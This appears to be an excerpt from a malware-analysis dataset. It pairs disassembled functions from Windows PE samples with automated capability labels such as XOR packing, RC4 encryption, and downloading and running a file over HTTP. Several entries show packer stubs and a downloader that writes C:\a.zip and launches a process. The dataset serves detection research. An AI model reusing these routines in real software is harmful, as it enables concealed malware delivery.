joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45181d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi]
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
xor ebx, ebx
cmp byte [edi + 0x49], 4
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], eax
jne 0x451848
mov eax, dword [edi + 0x44]
jmp 0x4519d3
mov ecx, dword [edi + 0x3c]
push edi
call fcn.004510d5
pop ecx
cmp eax, ebx
jne 0x4519d3
cmp dword [edi + 0x10], ebx
jne 0x45189f
push ebx
push dword [ebp + 0x10]
mov eax, esi
push dword [ebp + 0xc]
call fcn.00420ce0
add esp, 0xc
test byte [edi + 0x48], 2
je 0x45189f
cmp dword [ebp + 0x10], ebx
jl 0x45189f
jg 0x451882
cmp dword [ebp + 0xc], ebx
jbe 0x45189f
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [edi + 0x18]
sub eax, 1
sbb ecx, ebx
cmp edx, eax
jne 0x45189f
mov eax, dword [edi + 0x1c]
cmp eax, ecx
jne 0x45189f
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 4], ebx
jne 0x4518c5
push dword [ebp + 0x20]
lea ecx, [ebp - 4]
push dword [ebp + 0x10]
mov esi, edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0045110d
add esp, 0x10
cmp eax, ebx
jne 0x4519d3
movsx eax, word [edi + 0x4c]
mov esi, dword [edi + eax*4 + 0x78]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
mov eax, esi
call fcn.00449e39
add esp, 0x20
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x4519d3
movsx eax, word [edi + 0x4c]
lea eax, [edi + eax*2 + 0x4e]
movzx ecx, word [eax]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 4], ebx
jne 0x45197a
mov eax, dword [esi + 0x44]
call fcn.0043b22f
cmp eax, ebx
jne 0x4519d3
mov eax, dword [esi + 0x40]
mov ecx, dword [ebp - 0xc]
lea ecx, [eax + ecx*2]
movzx eax, byte [ecx]
movzx ecx, byte [ecx + 1]
shl eax, 8
or eax, ecx
movzx ecx, word [esi + 0x14]
and eax, ecx
add eax, dword [esi + 0x38]
cmp byte [esi + 5], bl
jne 0x45194f
mov ecx, dword [eax]
mov edx, dword [ebp - 0x14]
mov dword [edx], ecx
lea ecx, [ebp - 4]
push ecx
mov ecx, esi
call fcn.00449d19
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
movzx eax, word [ebp - 4]
push eax
push dword [ebp - 0xc]
call fcn.0042eafd
mov eax, dword [ebp - 8]
add esp, 0x10
cmp eax, ebx
jne 0x4519d3
jmp 0x451991
jge 0x451991
cmp word [esi + 0x12], bx
jbe 0x451991
inc word [eax]
movsx eax, word [edi + 0x4c]
movzx eax, word [edi + eax*2 + 0x4e]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push ebx
push ebx
push dword [ebp - 0x10]
mov ecx, esi
push dword [ebp - 0x14]
call fcn.0043b6f3
xor eax, eax
mov word [edi + 0x2c], ax
mov eax, dword [ebp - 8]
add esp, 0x14
cmp eax, ebx
jne 0x4519d3
cmp byte [esi + 1], bl
je 0x4519d3
and byte [edi + 0x48], 0xfd
call fcn.0044dfa7
movsx ecx, word [edi + 0x4c]
mov ecx, dword [edi + ecx*4 + 0x78]
mov byte [ecx + 1], bl
mov byte [edi + 0x49], bl
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4519d8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [edi]
movsx ebx, word [edi + 0x4c]
mov ecx, dword [edi + ebx*4 + 0x78]
mov dx, word [edi + ebx*2 + 0x4e]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
xor eax, eax
inc eax
mov dword [ebp - 0x1c], ebx
cmp dx, word [ecx + 0x12]
jae 0x451ba9
cmp byte [edi + 0x49], al
jne 0x451ba9
mov esi, ecx
mov ecx, dword [esi + 0x40]
movzx eax, dx
lea ecx, [ecx + eax*2]
mov dword [ebp - 0x10], eax
movzx eax, byte [ecx]
movzx ecx, byte [ecx + 1]
shl eax, 8
or eax, ecx
movzx ecx, word [esi + 0x14]
and eax, ecx
add eax, dword [esi + 0x38]
cmp byte [esi + 5], 0
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
jne 0x451a5d
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push edi
call fcn.004517d2
pop ecx
pop ecx
test eax, eax
jne 0x451ba9
mov ecx, dword [edi + 0x3c]
mov eax, dword [ebp - 0xc]
push edi
call fcn.004510d5
pop ecx
test eax, eax
jne 0x451ba9
cmp dword [edi + 0x10], eax
jne 0x451a89
push eax
push dword [edi + 0x1c]
mov eax, dword [ebp - 4]
push dword [edi + 0x18]
call fcn.00420ce0
add esp, 0xc
mov eax, dword [esi + 0x44]
call fcn.0043b22f
test eax, eax
jne 0x451ba9
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
mov ecx, esi
call fcn.00449d19
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
movzx eax, word [ebp - 4]
push eax
push dword [ebp - 0x10]
call fcn.0042eafd
mov eax, dword [ebp - 8]
add esp, 0x10
test eax, eax
jne 0x451ba9
cmp byte [esi + 5], al
jne 0x451b65
movsx eax, word [edi + 0x4c]
mov esi, dword [edi + eax*4 + 0x78]
mov eax, dword [edi + ebx*4 + 0x7c]
mov eax, dword [eax + 0x48]
mov ecx, dword [esi + 0x40]
mov dword [ebp - 0x14], eax
movzx eax, word [esi + 0x12]
lea eax, [ecx + eax*2]
movzx ebx, byte [eax - 2]
movzx eax, byte [eax - 1]
shl ebx, 8
or ebx, eax
movzx eax, word [esi + 0x14]
and ebx, eax
add ebx, dword [esi + 0x38]
mov edx, esi
push ebx
call fcn.00420e85
movzx eax, ax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 0x44]
call fcn.0043b22f
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
add eax, 4
push eax
mov eax, dword [ebp - 0x10]
add ebx, 0xfffffffc
push ebx
call fcn.0043b6f3
lea eax, [ebp - 8]
push eax
movzx eax, word [esi + 0x12]
push dword [ebp - 4]
dec eax
push eax
call fcn.0042eafd
mov eax, dword [ebp - 8]
add esp, 0x24
test eax, eax
jne 0x451ba9
mov ebx, dword [ebp - 0x1c]
call fcn.0044dfa7
mov esi, eax
test esi, esi
jne 0x451ba7
movsx eax, word [edi + 0x4c]
cmp eax, ebx
jle 0x451ba0
movzx ecx, word [edi + 0x4c]
movsx eax, cx
mov eax, dword [edi + eax*4 + 0x78]
dec ecx
mov word [edi + 0x4c], cx
call fcn.004485d7
movsx eax, word [edi + 0x4c]
cmp eax, ebx
jg 0x451b78
call fcn.0044dfa7
mov esi, eax
test esi, esi
jne 0x451ba7
mov eax, edi
call fcn.0044cf46
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x464c90
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x49c0a4]
jne 0x464c9a
repz ret
jmp fcn.0046a884

Function at 0x4761db
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0046c46d
and dword [ebp - 4], 0
cmp dword [0x4aebc8], 0
mov ebx, eax
jne 0x47628c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x47633d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x47633d
push eax
call fcn.0046c3fb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4aebc8], eax
call esi
push eax
call fcn.0046c3fb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4aebcc], eax
call esi
push eax
call fcn.0046c3fb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4aebd0], eax
call esi
push eax
call fcn.0046c3fb
pop ecx
mov dword [0x4aebd8], eax
test eax, eax
je 0x47628c
push 0x48dde0
push edi
call esi
push eax
call fcn.0046c3fb
pop ecx
mov dword [0x4aebd4], eax
mov eax, dword [0x4aebd4]
cmp eax, ebx
je 0x4762e4
cmp dword [0x4aebd8], ebx
je 0x4762e4
push eax
call fcn.0046c476
push dword [0x4aebd8]
mov esi, eax
call fcn.0046c476
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4762e4
test edi, edi
je 0x4762e4
call esi
test eax, eax
je 0x4762db
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4762db
test byte [ebp - 0xc], 1
jne 0x4762e4
or dword [ebp + 0x10], 0x200000
jmp 0x47631d
mov eax, dword [0x4aebcc]
cmp eax, ebx
je 0x47631d
push eax
call fcn.0046c476
pop ecx
test eax, eax
je 0x47631d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x47631d
mov eax, dword [0x4aebd0]
cmp eax, ebx
je 0x47631d
push eax
call fcn.0046c476
pop ecx
test eax, eax
je 0x47631d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4aebc8]
call fcn.0046c476
pop ecx
test eax, eax
je 0x47633d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x47633f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x47c6be
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x47c74d
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00467060
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x47c70d
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x47c72f
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x47c80b
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x47c775
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x47c780
xor eax, eax
jmp 0x47c7cc
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x47c79d
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0047d80f
jmp 0x47c7ad
cmp ecx, 2
jne 0x47c7b6
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0047dca1
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.00467060
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x47c7f7
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x47c80b
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x47c6cb
pop edi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x1edd6ae2
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x7547211a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x2cf82f49
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..rdata
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x3a30057b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x10001000
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
mov al, byte [ecx + section..data]
rol al, 1
xor al, cl
sub al, 0x47
xor al, cl
not al
rol al, 3
sub al, 0x21
ror al, 1
add al, 0x5c
xor al, 0x22
sub al, 0x23
xor al, 2
neg al
xor al, 0xc2
sub al, 0x14
add al, cl
mov byte [ecx + section..data], al
inc ecx
cmp ecx, 0x3a05
jb 0x10001002
push 0
push 0
push section..data
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
ret
Function at 0x40e413
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x40ec58
call fcn.0040e998
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40fc60
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x40e458
cmp eax, esi
jne 0x40e44b
xor esi, esi
inc esi
mov edi, esi
jmp 0x40e45b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40e42f
xor esi, esi
inc esi
cmp dword [0x40fc64], esi
jne 0x40e46d
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x40e4a7
cmp dword [0x40fc64], ebx
jne 0x40e4a1
mov dword [0x40fc64], esi
push 0x4011ec
push 0x4011e0
call fcn.0040e58c
pop ecx
pop ecx
test eax, eax
je 0x40e4a7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40e57c
mov dword [0x40f08c], esi
cmp dword [0x40fc64], esi
jne 0x40e4ca
push 0x4011dc
push 0x4011d4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x40fc64], 2
test edi, edi
jne 0x40e4d7
xor eax, eax
mov ecx, 0x40fc60
xchg dword [ecx], eax
cmp dword [0x40fc68], 0
je 0x40e503
push 0x40fc68
call fcn.0040e7f0
pop ecx
test eax, eax
je 0x40e503
push ebx
push 2
push ebx
mov esi, dword [0x40fc68]
mov ecx, esi
call dword [0x410144]
call esi
push dword [0x40f098]
push dword [0x40f094]
push dword [0x40f090]
call fcn.0040923f
add esp, 0xc
mov dword [0x40f088], eax
cmp dword [0x40f0a0], 0
jne 0x40e561
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x40f08c], 0
jne 0x40e575
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x40f088]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00536000
jmp 0x40e413

Function at 0x40e6d4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x40ec78
call fcn.0040e998
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40e734
cmp eax, 0xffffffff
je 0x40e734
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x40e72d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x40e72d
cmp edx, 0x10000000
jae 0x40e72d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x40e72a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e7a0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40e7de
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x40e7d6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40e7e0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x40e7c6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x674d4eb3
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x38cd069b
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x404208
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402c4e
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040303d
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040303d
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x40428b
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.0040303d
add ebp, 0x90
leave
ret